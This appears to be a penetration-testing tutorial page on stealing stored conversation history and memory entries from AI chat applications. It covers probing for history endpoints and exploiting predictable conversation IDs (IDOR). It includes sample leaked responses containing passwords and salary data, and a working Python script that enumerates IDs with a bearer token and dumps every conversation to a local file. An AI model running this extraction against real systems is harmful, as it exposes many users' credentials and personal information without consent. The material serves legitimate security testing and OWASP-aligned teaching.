Harvesting Conversation History and User Data
AI applications persist conversation history for context continuity, user personalization, and audit purposes. That stored history contains sensitive user inputs: credentials typed into the chat, personal information shared with the assistant, internal documents discussed, and business logic revealed through user queries. With access to the storage layer or an admin API, conversation history across all users becomes a high-value exfiltration target.
Common types of sensitive data found in conversation history:
- Credentials and passwords shared in plain text by users
- Internal documents and business logic discussed with the assistant
- Personal information (names, roles, salary data, contact details)
- Infrastructure details revealed through troubleshooting requests
- API keys and tokens pasted into the chat for debugging
Data isolation failures in multi-tenant deployments are the most common path. A missing tenant_id filter on a history query endpoint, a shared session store with predictable keys, or an admin endpoint accessible to regular users can expose every user's conversation history to any authenticated session.
Enumerate History Storage Endpoints
Probe the API for conversation history endpoints. These are commonly found under paths like /conversations, /history, /sessions, or /threads:
/api/conversations: 200 /api/history: 404 /api/sessions: 403 /api/threads: 200 /api/chat/history: 404 /api/messages: 401 /v1/conversations: 200
{
"conversations": [
{"id": "conv_001", "user_id": "user_abc", "created_at": "2025-03-01T10:23:00Z", "preview": "How do I reset my VPN..."},
{"id": "conv_002", "user_id": "user_abc", "created_at": "2025-03-02T14:11:00Z", "preview": "The database password is..."}
]
}
AI Conversation History Harvesting via IDOR
If conversation IDs are sequential or predictable, enumerate them to access conversations belonging to other users. Test whether the server validates that the requesting user owns the conversation:
conv_001: 200 conv_002: 200 conv_003: 200 conv_004: 200
{
"id": "conv_003",
"user_id": "user_xyz",
"messages": [
{"role": "user", "content": "My SSH key passphrase is hunter2, can you help me..."},
{"role": "assistant", "content": "I can help you with that..."}
]
}
Receiving a conversation belonging to a different user_id confirms the IDOR. Script bulk extraction across the ID range before the window closes:
import requests, json
TARGET_IP = '$TARGET_IP'
TOKEN = '$TOKEN'
results = []
for i in range(1, 500):
conv_id = f'conv_{i:03d}'
r = requests.get(
f'https://{TARGET_IP}/api/conversations/{conv_id}',
headers={'Authorization': f'Bearer {TOKEN}'}
)
if r.status_code == 200:
results.append(r.json())
print(f'[+] {conv_id}: {len(r.json().get("messages", []))} messages')
with open('/tmp/conversation_dump.json', 'w') as f:
json.dump(results, f, indent=2)
print(f'\nDumped {len(results)} conversations')
Query Admin History Endpoints
Admin history endpoints often exist for moderation and audit purposes. Test whether they are accessible with a standard user token or with no authentication at all:
Extract Memory Store Entries
AI applications with persistent memory store user facts and preferences extracted from past conversations. Memory stores are separate from conversation history and often less protected. Query the memory endpoint if present:
{
"memories": [
{"id": "mem_001", "user_id": "user_abc", "content": "User's name is Sarah. Works in finance. Mentioned salary of $95,000."},
{"id": "mem_002", "user_id": "user_abc", "content": "User uses password pattern: CompanyName + year + !"}
]
}
References
-
OWASP Top 10 for LLM ApplicationsLINK: OWASP Top 10 for LLM Applications, owasp.org/www-project-top-10-for-large-language-model-applications (opens in new tab)
LLM02: Sensitive Information Disclosure and LLM06: Excessive Agency covering conversation data exposure
-
OWASP API Security Top 10LINK: OWASP API Security Top 10, owasp.org/www-project-api-security (opens in new tab)
API1: Broken Object Level Authorization covering IDOR on conversation history endpoints